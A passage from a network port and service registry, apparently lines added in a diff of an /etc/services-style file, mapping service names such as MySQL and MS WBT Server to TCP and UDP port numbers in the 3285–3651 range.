4Talk +plato 3285/tcp Plato +plato 3285/udp Plato +e-net 3286/tcp E-Net +e-net 3286/udp E-Net +directvdata 3287/tcp DIRECTVDATA +directvdata 3287/udp DIRECTVDATA +cops 3288/tcp COPS +cops 3288/udp COPS +enpc 3289/tcp ENPC +enpc 3289/udp ENPC +caps-lm 3290/tcp CAPS LOGISTICS TOOLKIT - LM +caps-lm 3290/udp CAPS LOGISTICS TOOLKIT - LM +sah-lm 3291/tcp S A Holditch & Associates - LM +sah-lm 3291/udp S A Holditch & Associates - LM +cart-o-rama 3292/tcp Cart O Rama +cart-o-rama 3292/udp Cart O Rama +fg-fps 3293/tcp fg-fps +fg-fps 3293/udp fg-fps +fg-gip 3294/tcp fg-gip +fg-gip 3294/udp fg-gip +dyniplookup 3295/tcp Dynamic IP Lookup +dyniplookup 3295/udp Dynamic IP Lookup +rib-slm 3296/tcp Rib License Manager +rib-slm 3296/udp Rib License Manager +cytel-lm 3297/tcp Cytel License Manager +cytel-lm 3297/udp Cytel License Manager +deskview 3298/tcp DeskView +deskview 3298/udp DeskView +pdrncs 3299/tcp pdrncs +pdrncs 3299/udp pdrncs +mcs-fastmail 3302/tcp MCS Fastmail +mcs-fastmail 3302/udp MCS Fastmail +opsession-clnt 3303/tcp OP Session Client +opsession-clnt 3303/udp OP Session Client +opsession-srvr 3304/tcp OP Session Server +opsession-srvr 3304/udp OP Session Server +odette-ftp 3305/tcp ODETTE-FTP +odette-ftp 3305/udp ODETTE-FTP +mysql 3306/tcp MySQL +mysql 3306/udp MySQL +opsession-prxy 3307/tcp OP Session Proxy +opsession-prxy 3307/udp OP Session Proxy +tns-server 3308/tcp TNS Server +tns-server 3308/udp TNS Server +tns-adv 3309/tcp TNS ADV +tns-adv 3309/udp TNS ADV +dyna-access 3310/tcp Dyna Access +dyna-access 3310/udp Dyna Access +mcns-tel-ret 3311/tcp MCNS Tel Ret +mcns-tel-ret 3311/udp MCNS Tel Ret +appman-server 3312/tcp Application Management Server +appman-server 3312/udp Application Management Server +uorb 3313/tcp Unify Object Broker +uorb 3313/udp Unify Object Broker +uohost 3314/tcp Unify Object Host +uohost 3314/udp Unify Object Host +cdid 3315/tcp CDID +cdid 3315/udp CDID +aicc-cmi 3316/tcp AICC/CMI +aicc-cmi 3316/udp AICC/CMI +vsaiport 3317/tcp VSAI PORT +vsaiport 3317/udp VSAI PORT +ssrip 3318/tcp Swith to Swith Routing Information Protocol +ssrip 3318/udp Swith to Swith Routing Information Protocol +sdt-lmd 3319/tcp SDT License Manager +sdt-lmd 3319/udp SDT License Manager +officelink2000 3320/tcp Office Link 2000 +officelink2000 3320/udp Office Link 2000 +vnsstr 3321/tcp VNSSTR +vnsstr 3321/udp VNSSTR +active-net 3322-3325 Active Networks +sftu 3326/tcp SFTU +sftu 3326/udp SFTU +bbars 3327/tcp BBARS +bbars 3327/udp BBARS +egptlm 3328/tcp Eaglepoint License Manager +egptlm 3328/udp Eaglepoint License Manager +hp-device-disc 3329/tcp HP Device Disc +hp-device-disc 3329/udp HP Device Disc +mcs-calypsoicf 3330/tcp MCS Calypso ICF +mcs-calypsoicf 3330/udp MCS Calypso ICF +mcs-messaging 3331/tcp MCS Messaging +mcs-messaging 3331/udp MCS Messaging +mcs-mailsvr 3332/tcp MCS Mail Server +mcs-mailsvr 3332/udp MCS Mail Server +dec-notes 3333/tcp DEC Notes +dec-notes 3333/udp DEC Notes +directv-web 3334/tcp Direct TV Webcasting +directv-web 3334/udp Direct TV Webcasting +directv-soft 3335/tcp Direct TV Software Updates +directv-soft 3335/udp Direct TV Software Updates +directv-tick 3336/tcp Direct TV Tickers +directv-tick 3336/udp Direct TV Tickers +directv-catlg 3337/tcp Direct TV Data Catalog +directv-catlg 3337/udp Direct TV Data Catalog +anet-b 3338/tcp OMF data b +anet-b 3338/udp OMF data b +anet-l 3339/tcp OMF data l +anet-l 3339/udp OMF data l +anet-m 3340/tcp OMF data m +anet-m 3340/udp OMF data m +anet-h 3341/tcp OMF data h +anet-h 3341/udp OMF data h +webtie 3342/tcp WebTIE +webtie 3342/udp WebTIE +ms-cluster-net 3343/tcp MS Cluster Net +ms-cluster-net 3343/udp MS Cluster Net +bnt-manager 3344/tcp BNT Manager +bnt-manager 3344/udp BNT Manager +influence 3345/tcp Influence +influence 3345/udp Influence +trnsprntproxy 3346/tcp Trnsprnt Proxy +trnsprntproxy 3346/udp Trnsprnt Proxy +phoenix-rpc 3347/tcp Phoenix RPC +phoenix-rpc 3347/udp Phoenix RPC +pangolin-laser 3348/tcp Pangolin Laser +pangolin-laser 3348/udp Pangolin Laser +chevinservices 3349/tcp Chevin Services +chevinservices 3349/udp Chevin Services +findviatv 3350/tcp FINDVIATV +findviatv 3350/udp FINDVIATV +btrieve 3351/tcp Btrieve port +btrieve 3351/udp Btrieve port +ssql 3352/tcp Scalable SQL +ssql 3352/udp Scalable SQL +fatpipe 3353/tcp FATPIPE +fatpipe 3353/udp FATPIPE +suitjd 3354/tcp SUITJD +suitjd 3354/udp SUITJD +ordinox-dbase 3355/tcp Ordinox Dbase +ordinox-dbase 3355/udp Ordinox Dbase +upnotifyps 3356/tcp UPNOTIFYPS +upnotifyps 3356/udp UPNOTIFYPS +adtech-test 3357/tcp Adtech Test IP +adtech-test 3357/udp Adtech Test IP +mpsysrmsvr 3358/tcp Mp Sys Rmsvr +mpsysrmsvr 3358/udp Mp Sys Rmsvr +wg-netforce 3359/tcp WG NetForce +wg-netforce 3359/udp WG NetForce +kv-server 3360/tcp KV Server +kv-server 3360/udp KV Server +kv-agent 3361/tcp KV Agent +kv-agent 3361/udp KV Agent +dj-ilm 3362/tcp DJ ILM +dj-ilm 3362/udp DJ ILM +nati-vi-server 3363/tcp NATI Vi Server +nati-vi-server 3363/udp NATI Vi Server +creativeserver 3364/tcp Creative Server +creativeserver 3364/udp Creative Server +contentserver 3365/tcp Content Server +contentserver 3365/udp Content Server +creativepartnr 3366/tcp Creative Partner +creativepartnr 3366/udp Creative Partner +satvid-datalnk 3367-3371 Satellite Video Data Link +tip2 3372/tcp TIP 2 +tip2 3372/udp TIP 2 +lavenir-lm 3373/tcp Lavenir License Manager +lavenir-lm 3373/udp Lavenir License Manager +cluster-disc 3374/tcp Cluster Disc +cluster-disc 3374/udp Cluster Disc +vsnm-agent 3375/tcp VSNM Agent +vsnm-agent 3375/udp VSNM Agent +cdbroker 3376/tcp CD Broker +cdbroker 3376/udp CD Broker +cogsys-lm 3377/tcp Cogsys Network License Manager +cogsys-lm 3377/udp Cogsys Network License Manager +wsicopy 3378/tcp WSICOPY +wsicopy 3378/udp WSICOPY +socorfs 3379/tcp SOCORFS +socorfs 3379/udp SOCORFS +sns-channels 3380/tcp SNS Channels +sns-channels 3380/udp SNS Channels +geneous 3381/tcp Geneous +geneous 3381/udp Geneous +fujitsu-neat 3382/tcp Fujitsu Network Enhanced Antitheft function +fujitsu-neat 3382/udp Fujitsu Network Enhanced Antitheft function +esp-lm 3383/tcp Enterprise Software Products License Manager +esp-lm 3383/udp Enterprise Software Products License Manager +hp-clic 3384/tcp Cluster Management Services +hp-clic 3384/udp Hardware Management +qnxnetman 3385/tcp qnxnetman +qnxnetman 3385/udp qnxnetman +gprs-data 3386/tcp GPRS Data +gprs-sig 3386/udp GPRS SIG +backroomnet 3387/tcp Back Room Net +backroomnet 3387/udp Back Room Net +cbserver 3388/tcp CB Server +cbserver 3388/udp CB Server +ms-wbt-server 3389/tcp MS WBT Server +ms-wbt-server 3389/udp MS WBT Server +dsc 3390/tcp Distributed Service Coordinator +dsc 3390/udp Distributed Service Coordinator +savant 3391/tcp SAVANT +savant 3391/udp SAVANT +efi-lm 3392/tcp EFI License Management +efi-lm 3392/udp EFI License Management +d2k-tapestry1 3393/tcp D2K Tapestry Client to Server +d2k-tapestry1 3393/udp D2K Tapestry Client to Server +d2k-tapestry2 3394/tcp D2K Tapestry Server to Server +d2k-tapestry2 3394/udp D2K Tapestry Server to Server +dyna-lm 3395/tcp Dyna License Manager (Elam) +dyna-lm 3395/udp Dyna License Manager (Elam) +printer_agent 3396/tcp Printer Agent +printer_agent 3396/udp Printer Agent +cloanto-lm 3397/tcp Cloanto License Manager +cloanto-lm 3397/udp Cloanto License Manager +mercantile 3398/tcp Mercantile +mercantile 3398/udp Mercantile +csms 3399/tcp CSMS +csms 3399/udp CSMS +csms2 3400/tcp CSMS2 +csms2 3400/udp CSMS2 +filecast 3401/tcp filecast +filecast 3401/udp filecast +fxaengine-net 3402/tcp FXa Engine Network Port +fxaengine-net 3402/udp FXa Engine Network Port +copysnap 3403/tcp CopySnap Server Port +copysnap 3403/udp CopySnap Server Port +nokia-ann-ch1 3405/tcp Nokia Announcement ch 1 +nokia-ann-ch1 3405/udp Nokia Announcement ch 1 +nokia-ann-ch2 3406/tcp Nokia Announcement ch 2 +nokia-ann-ch2 3406/udp Nokia Announcement ch 2 +ldap-admin 3407/tcp LDAP admin server port +ldap-admin 3407/udp LDAP admin server port +issapi 3408/tcp POWERpack API Port +issapi 3408/udp POWERpack API Port +networklens 3409/tcp NetworkLens Event Port +networklens 3409/udp NetworkLens Event Port +networklenss 3410/tcp NetworkLens SSL Event +networklenss 3410/udp NetworkLens SSL Event +biolink-auth 3411/tcp BioLink Authenteon server +biolink-auth 3411/udp BioLink Authenteon server +xmlblaster 3412/tcp xmlBlaster +xmlblaster 3412/udp xmlBlaster +svnet 3413/tcp SpecView Networking +svnet 3413/udp SpecView Networking +wip-port 3414/tcp BroadCloud WIP Port +wip-port 3414/udp BroadCloud WIP Port +bcinameservice 3415/tcp BCI Name Service +bcinameservice 3415/udp BCI Name Service +commandport 3416/tcp AirMobile IS Command Port +commandport 3416/udp AirMobile IS Command Port +csvr 3417/tcp ConServR file translation +csvr 3417/udp ConServR file translation +rnmap 3418/tcp Remote nmap +rnmap 3418/udp Remote nmap +softaudit 3419/tcp Isogon SoftAudit +softaudit 3419/udp ISogon SoftAudit +ifcp-port 3420/tcp iFCP User Port +ifcp-port 3420/udp iFCP User Port +bmap 3421/tcp Bull Apprise portmapper +bmap 3421/udp Bull Apprise portmapper +rusb-sys-port 3422/tcp Remote USB System Port +rusb-sys-port 3422/udp Remote USB System Port +xtrm 3423/tcp xTrade Reliable Messaging +xtrm 3423/udp xTrade Reliable Messaging +xtrms 3424/tcp xTrade over TLS/SSL +xtrms 3424/udp xTrade over TLS/SSL +agps-port 3425/tcp AGPS Access Port +agps-port 3425/udp AGPS Access Port +arkivio 3426/tcp Arkivio Storage Protocol +arkivio 3426/udp Arkivio Storage Protocol +websphere-snmp 3427/tcp WebSphere SNMP +websphere-snmp 3427/udp WebSphere SNMP +twcss 3428/tcp 2Wire CSS +twcss 3428/udp 2Wire CSS +gcsp 3429/tcp GCSP user port +gcsp 3429/udp GCSP user port +ssdispatch 3430/tcp Scott Studios Dispatch +ssdispatch 3430/udp Scott Studios Dispatch +ndl-als 3431/tcp Active License Server Port +ndl-als 3431/udp Active License Server Port +osdcp 3432/tcp Secure Device Protocol +osdcp 3432/udp Secure Device Protocol +alta-smp 3433/tcp Altaworks Service Management Platform +alta-smp 3433/udp Altaworks Service Management Platform +opencm 3434/tcp OpenCM Server +opencm 3434/udp OpenCM Server +pacom 3435/tcp Pacom Security User Port +pacom 3435/udp Pacom Security User Port +gc-config 3436/tcp GuardControl Exchange Protocol +gc-config 3436/udp GuardControl Exchange Protocol +autocueds 3437/tcp Autocue Directory Service +autocueds 3437/udp Autocue Directory Service +spiral-admin 3438/tcp Spiralcraft Admin +spiral-admin 3438/udp Spiralcraft Admin +hri-port 3439/tcp HRI Interface Port +hri-port 3439/udp HRI Interface Port +ans-console 3440/tcp Net Steward Mgmt Console +ans-console 3440/udp Net Steward Mgmt Console +connect-client 3441/tcp OC Connect Client +connect-client 3441/udp OC Connect Client +connect-server 3442/tcp OC Connect Server +connect-server 3442/udp OC Connect Server +ov-nnm-websrv 3443/tcp OpenView Network Node Manager WEB Server +ov-nnm-websrv 3443/udp OpenView Network Node Manager WEB Server +denali-server 3444/tcp Denali Server +denali-server 3444/udp Denali Server +monp 3445/tcp Media Object Network +monp 3445/udp Media Object Network +3comfaxrpc 3446/tcp 3Com FAX RPC port +3comfaxrpc 3446/udp 3Com FAX RPC port +cddn 3447/tcp CompuDuo DirectNet +cddn 3447/udp CompuDuo DirectNet +dnc-port 3448/tcp Discovery and Net Config +dnc-port 3448/udp Discovery and Net Config +hotu-chat 3449/tcp HotU Chat +hotu-chat 3449/udp HotU Chat +castorproxy 3450/tcp CAStorProxy +castorproxy 3450/udp CAStorProxy +asam 3451/tcp ASAM Services +asam 3451/udp ASAM Services +sabp-signal 3452/tcp SABP-Signalling Protocol +sabp-signal 3452/udp SABP-Signalling Protocol +pscupd 3453/tcp PSC Update Port +pscupd 3453/udp PSC Update Port +mira 3454/tcp Apple Remote Access Protocol +prsvp 3455/tcp RSVP Port +prsvp 3455/udp RSVP Port +vat 3456/tcp VAT default data +vat 3456/udp VAT default data +vat-control 3457/tcp VAT default control +vat-control 3457/udp VAT default control +d3winosfi 3458/tcp D3WinOSFI +d3winosfi 3458/udp D3WinOSFI +integral 3459/tcp TIP Integral +integral 3459/udp TIP Integral +edm-manager 3460/tcp EDM Manger +edm-manager 3460/udp EDM Manger +edm-stager 3461/tcp EDM Stager +edm-stager 3461/udp EDM Stager +edm-std-notify 3462/tcp EDM STD Notify +edm-std-notify 3462/udp EDM STD Notify +edm-adm-notify 3463/tcp EDM ADM Notify +edm-adm-notify 3463/udp EDM ADM Notify +edm-mgr-sync 3464/tcp EDM MGR Sync +edm-mgr-sync 3464/udp EDM MGR Sync +edm-mgr-cntrl 3465/tcp EDM MGR Cntrl +edm-mgr-cntrl 3465/udp EDM MGR Cntrl +workflow 3466/tcp WORKFLOW +workflow 3466/udp WORKFLOW +rcst 3467/tcp RCST +rcst 3467/udp RCST +ttcmremotectrl 3468/tcp TTCM Remote Controll +ttcmremotectrl 3468/udp TTCM Remote Controll +pluribus 3469/tcp Pluribus +pluribus 3469/udp Pluribus +jt400 3470/tcp jt400 +jt400 3470/udp jt400 +jt400-ssl 3471/tcp jt400-ssl +jt400-ssl 3471/udp jt400-ssl +jaugsremotec-1 3472/tcp JAUGS N-G Remotec 1 +jaugsremotec-1 3472/udp JAUGS N-G Remotec 1 +jaugsremotec-2 3473/tcp JAUGS N-G Remotec 2 +jaugsremotec-2 3473/udp JAUGS N-G Remotec 2 +ttntspauto 3474/tcp TSP Automation +ttntspauto 3474/udp TSP Automation +genisar-port 3475/tcp Genisar Comm Port +genisar-port 3475/udp Genisar Comm Port +nppmp 3476/tcp NVIDIA Mgmt Protocol +nppmp 3476/udp NVIDIA Mgmt Protocol +ecomm 3477/tcp eComm link port +ecomm 3477/udp eComm link port +nat-stun-port 3478/tcp Simple Traversal of UDP Through NAT (STUN) port +nat-stun-port 3478/udp Simple Traversal of UDP Through NAT (STUN) port +twrpc 3479/tcp 2Wire RPC +twrpc 3479/udp 2Wire RPC +plethora 3480/tcp Secure Virtual Workspace +plethora 3480/udp Secure Virtual Workspace +cleanerliverc 3481/tcp CleanerLive remote ctrl +cleanerliverc 3481/udp CleanerLive remote ctrl +vulture 3482/tcp Vulture Monitoring System +vulture 3482/udp Vulture Monitoring System +slim-devices 3483/tcp Slim Devices Protocol +slim-devices 3483/udp Slim Devices Protocol +gbs-stp 3484/tcp GBS SnapTalk Protocol +gbs-stp 3484/udp GBS SnapTalk Protocol +celatalk 3485/tcp CelaTalk +celatalk 3485/udp CelaTalk +ifsf-hb-port 3486/tcp IFSF Heartbeat Port +ifsf-hb-port 3486/udp IFSF Heartbeat Port +ltctcp 3487/tcp LISA TCP Transfer Channel +ltcudp 3487/udp LISA UDP Transfer Channel +fs-rh-srv 3488/tcp FS Remote Host Server +fs-rh-srv 3488/udp FS Remote Host Server +dtp-dia 3489/tcp DTP/DIA +dtp-dia 3489/udp DTP/DIA +colubris 3490/tcp Colubris Management Port +colubris 3490/udp Colubris Management Port +swr-port 3491/tcp SWR Port +swr-port 3491/udp SWR Port +tvdumtray-port 3492/tcp TVDUM Tray Port +tvdumtray-port 3492/udp TVDUM Tray Port +nut 3493/tcp Network UPS Tools +nut 3493/udp Network UPS Tools +ibm3494 3494/tcp IBM 3494 +ibm3494 3494/udp IBM 3494 +seclayer-tcp 3495/tcp securitylayer over tcp +seclayer-tcp 3495/udp securitylayer over tcp +seclayer-tls 3496/tcp securitylayer over tls +seclayer-tls 3496/udp securitylayer over tls +ipether232port 3497/tcp ipEther232Port +ipether232port 3497/udp ipEther232Port +dashpas-port 3498/tcp DASHPAS user port +dashpas-port 3498/udp DASHPAS user port +sccip-media 3499/tcp SccIP Media +sccip-media 3499/udp SccIP Media +rtmp-port 3500/tcp RTMP Port +rtmp-port 3500/udp RTMP Port +isoft-p2p 3501/tcp iSoft-P2P +isoft-p2p 3501/udp iSoft-P2P +avinstalldisc 3502/tcp Avocent Install Discovery +avinstalldisc 3502/udp Avocent Install Discovery +lsp-ping 3503/tcp MPLS LSP-echo Port +lsp-ping 3503/udp MPLS LSP-echo Port +ironstorm 3504/tcp IronStorm game server +ironstorm 3504/udp IronStorm game server +ccmcomm 3505/tcp CCM communications port +ccmcomm 3505/udp CCM communications port +apc-3506 3506/tcp APC 3506 +apc-3506 3506/udp APC 3506 +nesh-broker 3507/tcp Nesh Broker Port +nesh-broker 3507/udp Nesh Broker Port +interactionweb 3508/tcp Interaction Web +interactionweb 3508/udp Interaction Web +vt-ssl 3509/tcp Virtual Token SSL Port +vt-ssl 3509/udp Virtual Token SSL Port +xss-port 3510/tcp XSS Port +xss-port 3510/udp XSS Port +webmail-2 3511/tcp WebMail/2 +webmail-2 3511/udp WebMail/2 +aztec 3512/tcp Aztec Distribution Port +aztec 3512/udp Aztec Distribution Port +arcpd 3513/tcp Adaptec Remote Protocol +arcpd 3513/udp Adaptec Remote Protocol +must-p2p 3514/tcp MUST Peer to Peer +must-p2p 3514/udp MUST Peer to Peer +must-backplane 3515/tcp MUST Backplane +must-backplane 3515/udp MUST Backplane +smartcard-port 3516/tcp Smartcard Port +smartcard-port 3516/udp Smartcard Port +802-11-iapp 3517/tcp IEEE 802.11 WLANs WG IAPP +802-11-iapp 3517/udp IEEE 802.11 WLANs WG IAPP +artifact-msg 3518/tcp Artifact Message Server +artifact-msg 3518/udp Artifact Message Server +nvmsgd 3519/tcp Netvion Messenger Port +galileo 3519/udp Netvion Galileo Port +galileolog 3520/tcp Netvion Galileo Log Port +galileolog 3520/udp Netvion Galileo Log Port +mc3ss 3521/tcp Telequip Labs MC3SS +mc3ss 3521/udp Telequip Labs MC3SS +nssocketport 3522/tcp DO over NSSocketPort +nssocketport 3522/udp DO over NSSocketPort +odeumservlink 3523/tcp Odeum Serverlink +odeumservlink 3523/udp Odeum Serverlink +ecmport 3524/tcp ECM Server port +ecmport 3524/udp ECM Server port +eisport 3525/tcp EIS Server port +eisport 3525/udp EIS Server port +starquiz-port 3526/tcp starQuiz Port +starquiz-port 3526/udp starQuiz Port +beserver-msg-q 3527/tcp VERITAS Backup Exec Server +beserver-msg-q 3527/udp VERITAS Backup Exec Server +jboss-iiop 3528/tcp JBoss IIOP +jboss-iiop 3528/udp JBoss IIOP +jboss-iiop-ssl 3529/tcp JBoss IIOP/SSL +jboss-iiop-ssl 3529/udp JBoss IIOP/SSL +gf 3530/tcp Grid Friendly +gf 3530/udp Grid Friendly +joltid 3531/tcp Joltid +joltid 3531/udp Joltid +raven-rmp 3532/tcp Raven Remote Management Control +raven-rmp 3532/udp Raven Remote Management Control +raven-rdp 3533/tcp Raven Remote Management Data +raven-rdp 3533/udp Raven Remote Management Data +urld-port 3534/tcp URL Daemon Port +urld-port 3534/udp URL Daemon Port +ms-la 3535/tcp MS-LA +ms-la 3535/udp MS-LA +snac 3536/tcp SNAC +snac 3536/udp SNAC +ni-visa-remote 3537/tcp Remote NI-VISA port +ni-visa-remote 3537/udp Remote NI-VISA port +ibm-diradm 3538/tcp IBM Directory Server +ibm-diradm 3538/udp IBM Directory Server +ibm-diradm-ssl 3539/tcp IBM Directory Server SSL +ibm-diradm-ssl 3539/udp IBM Directory Server SSL +pnrp-port 3540/tcp PNRP User Port +pnrp-port 3540/udp PNRP User Port +voispeed-port 3541/tcp VoiSpeed Port +voispeed-port 3541/udp VoiSpeed Port +hacl-monitor 3542/tcp HA cluster monitor +hacl-monitor 3542/udp HA cluster monitor +qftest-lookup 3543/tcp qftest Lookup Port +qftest-lookup 3543/udp qftest Lookup Port +teredo 3544/tcp Teredo Port +teredo 3544/udp Teredo Port +camac 3545/tcp CAMAC equipment +camac 3545/udp CAMAC equipment +symantec-sim 3547/tcp Symantec SIM +symantec-sim 3547/udp Symantec SIM +interworld 3548/tcp Interworld +interworld 3548/udp Interworld +tellumat-nms 3549/tcp Tellumat MDR NMS +tellumat-nms 3549/udp Tellumat MDR NMS +ssmpp 3550/tcp Secure SMPP +ssmpp 3550/udp Secure SMPP +apcupsd 3551/tcp Apcupsd Information Port +apcupsd 3551/udp Apcupsd Information Port +taserver 3552/tcp TeamAgenda Server Port +taserver 3552/udp TeamAgenda Server Port +rbr-discovery 3553/tcp Red Box Recorder ADP +rbr-discovery 3553/udp Red Box Recorder ADP +questnotify 3554/tcp Quest Notification Server +questnotify 3554/udp Quest Notification Server +razor 3555/tcp Vipul's Razor +razor 3555/udp Vipul's Razor +sky-transport 3556/tcp Sky Transport Protocol +sky-transport 3556/udp Sky Transport Protocol +personalos-001 3557/tcp PersonalOS Comm Port +personalos-001 3557/udp PersonalOS Comm Port +mcp-port 3558/tcp MCP user port +mcp-port 3558/udp MCP user port +cctv-port 3559/tcp CCTV control port +cctv-port 3559/udp CCTV control port +iniserve-port 3560/tcp INIServe port +iniserve-port 3560/udp INIServe port +bmc-onekey 3561/tcp BMC-OneKey +bmc-onekey 3561/udp BMC-OneKey +sdbproxy 3562/tcp SDBProxy +sdbproxy 3562/udp SDBProxy +watcomdebug 3563/tcp Watcom Debug +watcomdebug 3563/udp Watcom Debug +esimport 3564/tcp Electromed SIM port +esimport 3564/udp Electromed SIM port +m2pa 3565/tcp M2PA +m2pa 3565/sctp M2PA +quest-launcher 3566/tcp Quest Agent Manager +quest-launcher 3566/udp Quest Agent Manager +emware-oft 3567/tcp emWare OFT Services +emware-oft 3567/udp emWare OFT Services +emware-epss 3568/tcp emWare EMIT/Secure +emware-epss 3568/udp emWare EMIT/Secure +mbg-ctrl 3569/tcp Meinberg Control Service +mbg-ctrl 3569/udp Meinberg Control Service +mccwebsvr-port 3570/tcp MCC Web Server Port +mccwebsvr-port 3570/udp MCC Web Server Port +megardsvr-port 3571/tcp MegaRAID Server Port +megardsvr-port 3571/udp MegaRAID Server Port +megaregsvrport 3572/tcp Registration Server Port +megaregsvrport 3572/udp Registration Server Port +tag-ups-1 3573/tcp Advantage Group UPS Suite +tag-ups-1 3573/udp Advantage Group UPS Suite +dmaf-server 3574/tcp DMAF Server +dmaf-caster 3574/udp DMAF Caster +ccm-port 3575/tcp Coalsere CCM Port +ccm-port 3575/udp Coalsere CCM Port +cmc-port 3576/tcp Coalsere CMC Port +cmc-port 3576/udp Coalsere CMC Port +config-port 3577/tcp Configuration Port +config-port 3577/udp Configuration Port +data-port 3578/tcp Data Port +data-port 3578/udp Data Port +ttat3lb 3579/tcp Tarantella Load Balancing +ttat3lb 3579/udp Tarantella Load Balancing +nati-svrloc 3580/tcp NATI-ServiceLocator +nati-svrloc 3580/udp NATI-ServiceLocator +kfxaclicensing 3581/tcp Ascent Capture Licensing +kfxaclicensing 3581/udp Ascent Capture Licensing +press 3582/tcp PEG PRESS Server +press 3582/udp PEG PRESS Server +canex-watch 3583/tcp CANEX Watch System +canex-watch 3583/udp CANEX Watch System +u-dbap 3584/tcp U-DBase Access Protocol +u-dbap 3584/udp U-DBase Access Protocol +emprise-lls 3585/tcp Emprise License Server +emprise-lls 3585/udp Emprise License Server +emprise-lsc 3586/tcp License Server Console +emprise-lsc 3586/udp License Server Console +p2pgroup 3587/tcp Peer to Peer Grouping +p2pgroup 3587/udp Peer to Peer Grouping +sentinel 3588/tcp Sentinel Server +sentinel 3588/udp Sentinel Server +isomair 3589/tcp isomair +isomair 3589/udp isomair +wv-csp-sms 3590/tcp WV CSP SMS Binding +wv-csp-sms 3590/udp WV CSP SMS Binding +gtrack-server 3591/tcp LOCANIS G-TRACK Server +gtrack-server 3591/udp LOCANIS G-TRACK Server +gtrack-ne 3592/tcp LOCANIS G-TRACK NE Port +gtrack-ne 3592/udp LOCANIS G-TRACK NE Port +bpmd 3593/tcp BP Model Debugger +bpmd 3593/udp BP Model Debugger +mediaspace 3594/tcp MediaSpace +mediaspace 3594/udp MediaSpace +shareapp 3595/tcp ShareApp +shareapp 3595/udp ShareApp +iw-mmogame 3596/tcp Illusion Wireless MMOG +iw-mmogame 3596/udp Illusion Wireless MMOG +a14 3597/tcp A14 (AN-to-SC/MM) +a14 3597/udp A14 (AN-to-SC/MM) +a15 3598/tcp A15 (AN-to-AN) +a15 3598/udp A15 (AN-to-AN) +quasar-server 3599/tcp Quasar Accounting Server +quasar-server 3599/udp Quasar Accounting Server +trap-daemon 3600/tcp text relay-answer +trap-daemon 3600/udp text relay-answer +visinet-gui 3601/tcp Visinet Gui +visinet-gui 3601/udp Visinet Gui +infiniswitchcl 3602/tcp InfiniSwitch Mgr Client +infiniswitchcl 3602/udp InfiniSwitch Mgr Client +int-rcv-cntrl 3603/tcp Integrated Rcvr Control +int-rcv-cntrl 3603/udp Integrated Rcvr Control +bmc-jmx-port 3604/tcp BMC JMX Port +bmc-jmx-port 3604/udp BMC JMX Port +comcam-io 3605/tcp ComCam IO Port +comcam-io 3605/udp ComCam IO Port +splitlock 3606/tcp Splitlock Server +splitlock 3606/udp Splitlock Server +precise-i3 3607/tcp Precise I3 +precise-i3 3607/udp Precise I3 +trendchip-dcp 3608/tcp Trendchip control protocol +trendchip-dcp 3608/udp Trendchip control protocol +cpdi-pidas-cm 3609/tcp CPDI PIDAS Connection Mon +cpdi-pidas-cm 3609/udp CPDI PIDAS Connection Mon +echonet 3610/tcp ECHONET +echonet 3610/udp ECHONET +six-degrees 3611/tcp Six Degrees Port +six-degrees 3611/udp Six Degrees Port +hp-dataprotect 3612/tcp HP Data Protector +hp-dataprotect 3612/udp HP Data Protector +alaris-disc 3613/tcp Alaris Device Discovery +alaris-disc 3613/udp Alaris Device Discovery +sigma-port 3614/tcp Invensys Sigma Port +sigma-port 3614/udp Invensys Sigma Port +start-network 3615/tcp Start Messaging Network +start-network 3615/udp Start Messaging Network +cd3o-protocol 3616/tcp cd3o Control Protocol +cd3o-protocol 3616/udp cd3o Control Protocol +sharp-server 3617/tcp ATI SHARP Logic Engine +sharp-server 3617/udp ATI SHARP Logic Engine +aairnet-1 3618/tcp AAIR-Network 1 +aairnet-1 3618/udp AAIR-Network 1 +aairnet-2 3619/tcp AAIR-Network 2 +aairnet-2 3619/udp AAIR-Network 2 +ep-pcp 3620/tcp EPSON Projector Control Port +ep-pcp 3620/udp EPSON Projector Control Port +ep-nsp 3621/tcp EPSON Network Screen Port +ep-nsp 3621/udp EPSON Network Screen Port +ff-lr-port 3622/tcp FF LAN Redundancy Port +ff-lr-port 3622/udp FF LAN Redundancy Port +haipe-discover 3623/tcp HAIPIS Dynamic Discovery +haipe-discover 3623/udp HAIPIS Dynamic Discovery +dist-upgrade 3624/tcp Distributed Upgrade Port +dist-upgrade 3624/udp Distributed Upgrade Port +volley 3625/tcp Volley +volley 3625/udp Volley +bvcdaemon-port 3626/tcp bvControl Daemon +bvcdaemon-port 3626/udp bvControl Daemon +jamserverport 3627/tcp Jam Server Port +jamserverport 3627/udp Jam Server Port +ept-machine 3628/tcp EPT Machine Interface +ept-machine 3628/udp EPT Machine Interface +escvpnet 3629/tcp ESC/VP.net +escvpnet 3629/udp ESC/VP.net +cs-remote-db 3630/tcp C&S Remote Database Port +cs-remote-db 3630/udp C&S Remote Database Port +cs-services 3631/tcp C&S Web Services Port +cs-services 3631/udp C&S Web Services Port +distcc 3632/tcp distributed compiler +distcc 3632/udp distributed compiler +wacp 3633/tcp Wyrnix AIS port +wacp 3633/udp Wyrnix AIS port +hlibmgr 3634/tcp hNTSP Library Manager +hlibmgr 3634/udp hNTSP Library Manager +sdo 3635/tcp Simple Distributed Objects +sdo 3635/udp Simple Distributed Objects +opscenter 3636/tcp OpsCenter +opscenter 3636/udp OpsCenter +scservp 3637/tcp Customer Service Port +scservp 3637/udp Customer Service Port +ehp-backup 3638/tcp EHP Backup Protocol +ehp-backup 3638/udp EHP Backup Protocol +xap-ha 3639/tcp Extensible Automation +xap-ha 3639/udp Extensible Automation +netplay-port1 3640/tcp Netplay Port 1 +netplay-port1 3640/udp Netplay Port 1 +netplay-port2 3641/tcp Netplay Port 2 +netplay-port2 3641/udp Netplay Port 2 +juxml-port 3642/tcp Juxml Replication port +juxml-port 3642/udp Juxml Replication port +audiojuggler 3643/tcp AudioJuggler +audiojuggler 3643/udp AudioJuggler +ssowatch 3644/tcp ssowatch +ssowatch 3644/udp ssowatch +cyc 3645/tcp Cyc +cyc 3645/udp Cyc +xss-srv-port 3646/tcp XSS Server Port +xss-srv-port 3646/udp XSS Server Port +splitlock-gw 3647/tcp Splitlock Gateway +splitlock-gw 3647/udp Splitlock Gateway +fjcp 3648/tcp Fujitsu Cooperation Port +fjcp 3648/udp Fujitsu Cooperation Port +nmmp 3649/tcp Nishioka Miyuki Msg Protocol +nmmp 3649/udp Nishioka Miyuki Msg Protocol +prismiq-plugin 3650/tcp PRISMIQ VOD plug-in +prismiq-plugin 3650/udp PRISMIQ VOD plug-in +xrpc-registry 3651/tcp XRPC Registry +xrpc-registry 